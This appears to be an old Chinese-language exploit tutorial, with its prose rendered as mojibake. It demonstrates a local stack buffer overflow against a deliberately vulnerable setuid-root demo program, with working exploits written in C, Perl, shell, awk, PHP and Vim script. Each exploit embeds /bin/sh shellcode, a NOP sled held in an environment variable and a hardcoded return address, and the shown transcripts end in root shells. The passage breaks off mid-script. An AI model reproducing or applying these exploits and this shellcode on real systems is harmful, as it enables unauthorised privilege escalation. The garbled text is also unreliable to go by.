Òç³öÀûÓóÌÐòºÍ±à³ÌÓïÑÔ´óÔÓ»â
Òç³öÀûÓóÌÐò²»½ö½öÊÇÖ»ÄÜÓÃcÓïÑÔ±àд£¬Æäʵ¼¸ºõÈκαà³ÌÓïÑÔ¶¼ÄÜÓÃÀ´±àд
Òç³öÀûÓóÌÐò£¬ÕâÀïÓÃLinux×÷ΪÊÔÑéÆ½Ì¨£¬ÒÔʵÀýÑÝʾC¡¢Perl¡¢Shell¡¢Awk
ÓïÑÔ±àдÒç³öÀûÓóÌÐò¡£Ö®ËùÒÔÑ¡ÔñÕ⼸¸öÓïÑÔÊÇÒòΪËûÃǶ¼¼¸ºõÊÇUnixϵͳ
×Ô´øµÄÓïÑÔ£¨ÉÌÓÃUnixϵͳÖÐCÓïÑÔÀýÍ⣩¡£Ê¾ÀýÖлù±¾¶¼ÊǰÑSHELLCODE·Åµ½
»·¾³±äÁ¿ÖÐÀ´ÊµÏÖ¾«È·¶¨Î»µÄ¡£
<Ò»> ÓÐÒç³ö©¶´µÄvul.c
[cloud@test]$ id
uid=505(cloud) gid=503(test) groups=503(test)
[cloud@test]$ cat vul.c
/* Demo
Have a bof vul at argv[1].
Write by watercloud @ xfocus.org
*/
#include<stdio.h>
int main(int argc,char * argv[])
{
char buff[32];
if(argc > 1)
{
strcpy(buff,argv[1]);
}
printf("buff : %s\n",buff);
return 0;
}
[cloud@test]$ gcc vul.c -o vul
[cloud@test]$ ls -l vul
-rwxr-xr-x 1 cloud test 11627 2ÔÂ 24 10:14 vul
[cloud@test]$ sudo chown root vul
[cloud@test]$ sudo chmod u+s vul
[cloud@test]$ ls -lh vul
-rwsr-xr-x 1 root test 11K 2ÔÂ 24 10:14 vul
<¶þ> CÓïÑÔ°æ±¾ÀûÓóÌÐòex.c
[cloud@test]$ cat ex.c
/* Demo for exploit bof of "./vul"
Write by watercloud @ xfocus.org
*/
#include <stdio.h>
#define TARGET "./vul"
#define ADDR 0xbffff3e8
char SH[]="1\xc0PPP[YZ4\xd0\xcd\x80"
"j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
int main(int argc,char * argv[])
{
char env_buff[4000];
char cmd_buff[1024];
int i,ret;
unsigned int *pi;
char * pc;
for(i=0;i<3096;env_buff[i++]=0x90){ };
env_buff[i]='\0';
strcat(env_buff,SH);
setenv("KK",env_buff,1);
strcpy(cmd_buff,TARGET);
pc=&cmd_buff[strlen(TARGET)];
*pc++=' ';
for(ret=1,i=0;i<4 && ret;i++)
{
int j;
*pc++='A';
pi=(unsigned int *)pc;
for(j=0;j<20;*pi++=ADDR,j++){};
*pi=0;
ret=system(cmd_buff);
}
return ret;
}
[cloud@test]$ gcc ex.c -o ex
[cloud@test]$ ./ex
buff : Aèóÿ¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è??
èóÿ¿è??
buff : AAèóÿ¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?
¿è?¿è??
buff : AAAèóÿ¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?
ÿ¿è?¿è??
buff : AAAAèóÿ¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è
?¿è?¿è??
sh-2.05b# id
uid=0(root) gid=503(test) groups=503(test)
sh-2.05b# exit
exit
<Èý> perlÓïÑÔ°æ±¾ÀûÓóÌÐòex.pl
[cloud@test]$ cat ex.pl
#!/usr/bin/perl
# Demo for exploit bof of "./vul"
# Write by watercloud @ xfocus.org
#$ENV_LEN=`env |wc -c`
$SHELL="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
$ENV{KK}= "\x90"x 3096 . $SHELL;
for($ret=1,$ag="AA",$i=0;$i<4 && $ret; $ag="A"x $i++) {
$ret=system "./vul",$ag. "\xff\xbf\xe8\xf3"x20; #ADDR:0xbffff3e8
}
#EOF
[cloud@test]$ perl ex.pl
buff : AAÿ¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è
?¿è?¿è?
sh-2.05b# id
uid=0(root) gid=503(test) groups=503(test)
sh-2.05b# exit
exit
<ËÄ> ShellÓïÑÔ°æ±¾ÀûÓóÌÐòex.sh
[cloud@test]$ cat ex.sh
#/bin/bash
# Demo for exploit bof of "./vul"
# Write by watercloud @ xfocus.org
#ENV_LEN=`env |wc -c|tr -d ' '`
SH="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
AG="AA";for (( i=0;i<10;i++));do AG=$AG$AG;done ;AG=$AG$AG$AG #3096
for((i=0;i<20;i++));do AD=$AD"\xff\xbf\xe8\xf3";done #ADDR:0xbffff3e8
export AGSHELL=$AG`echo -e $SH`
for((i=0;i<4;i++)) ;do
AA=$AA"A"
if ./vul $AA`echo -e $AD`
then break
fi
done
#EOF
[cloud@test]$ chmod a+x ex.sh
[cloud@test]$ ./ex.sh
buff : Aÿ¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?
ÿ¿è?¿è?
./ex.sh: line 16: 5287 ¶Î´íÎó ./vul $AA`echo -e $AD`
buff : AAÿ¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è
?¿è?¿è?
sh-2.05b# id
uid=0(root) gid=503(test) groups=503(test)
sh-2.05b# exit
exit
<Îå> awkÓïÑÔ°æ±¾ÀûÓóÌÐòex.awk
[cloud@test]$ cat ex.awk
# Demo for exploit bof of "./vul"
# Write by watercloud @ xfocus.org
BEGIN{
SH="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
AG="AA";
for ( i=0;i<10;i++)
{
AG=AG""AG;
}
AG=AG""AG""AG #3096
for(i=0;i<20;i++)
{
AD=AD"\xe8\xf3\xff\xbf"; #ADDR:0xbffff3e8
}
AA="AA"
for(i=0;i<4;i++)
{
AA=AA"A"
system("./vul "AA""AD" "AG""SH)
}
}
#EOF
[cloud@test]$ gawk -f ex.awk /dev/null
buff : AAAèóÿ¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è??
buff : AAAAèóÿ¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è??
sh-2.05b# id
uid=0(root) gid=503(test) groups=503(test)
sh-2.05b#
<Áù> PHP°æ±¾
[cloud@MagicLinux tmp]$ id
uid=502(cloud) gid=502(cloud) groups=502(cloud)
[cloud@MagicLinux tmp]$ ls -l vul
-rwsr-xr-x 1 root root 4895 2ÔÂ 26 20:57 vul
[cloud@MagicLinux tmp]$ cat ex.php
<?php
$SH="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
$AG="AA";
for( $i=0;$i<10;$i++){
$AG.=$AG;
}
$AG.=$AG.$AG; #3096
for($i=0;$i<20;$i++) {
$AD.="\xff\xbf\xe8\xf3";#ADDR:0xbffff3e8
}
for($i=0;$i<4;$i++) {
$AA.="A";
print system("./vul ".$AA.$AD.$AG.$SH);
}
?>
[cloud@MagicLinux tmp]$ php ex.php 1>/dev/null
id >&2
uid=0(root) gid=502(cloud) groups=502(cloud)
exit
[cloud@MagicLinux tmp]$
<Æß> VimÀ©Õ¹½Å±¾°æ±¾
Á¬vim±à¼Æ÷µÄÀ©Õ¹±à³Ì½Å±¾Ò²¿ÉÒÔÄÃÀ´Ð´Òç³öµÄ˵£º
[cloud@MagicLinux tmp]$ id
uid=502(cloud) gid=502(cloud) groups=502(cloud)
[cloud@MagicLinux tmp]$ cat ex.vim
let SH="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80"
let AG="AA"
let i=0
while(i<10)
let AG=AG.AG
let i=i+1
endwhile
let AG=AG.AG.AG
"len of AG is 3096
let AD=""
let i=0
while(i<20)
let AD=AD."\xff\xbf\xe8\xf3"
"ADDR:0xbffff3e8
 
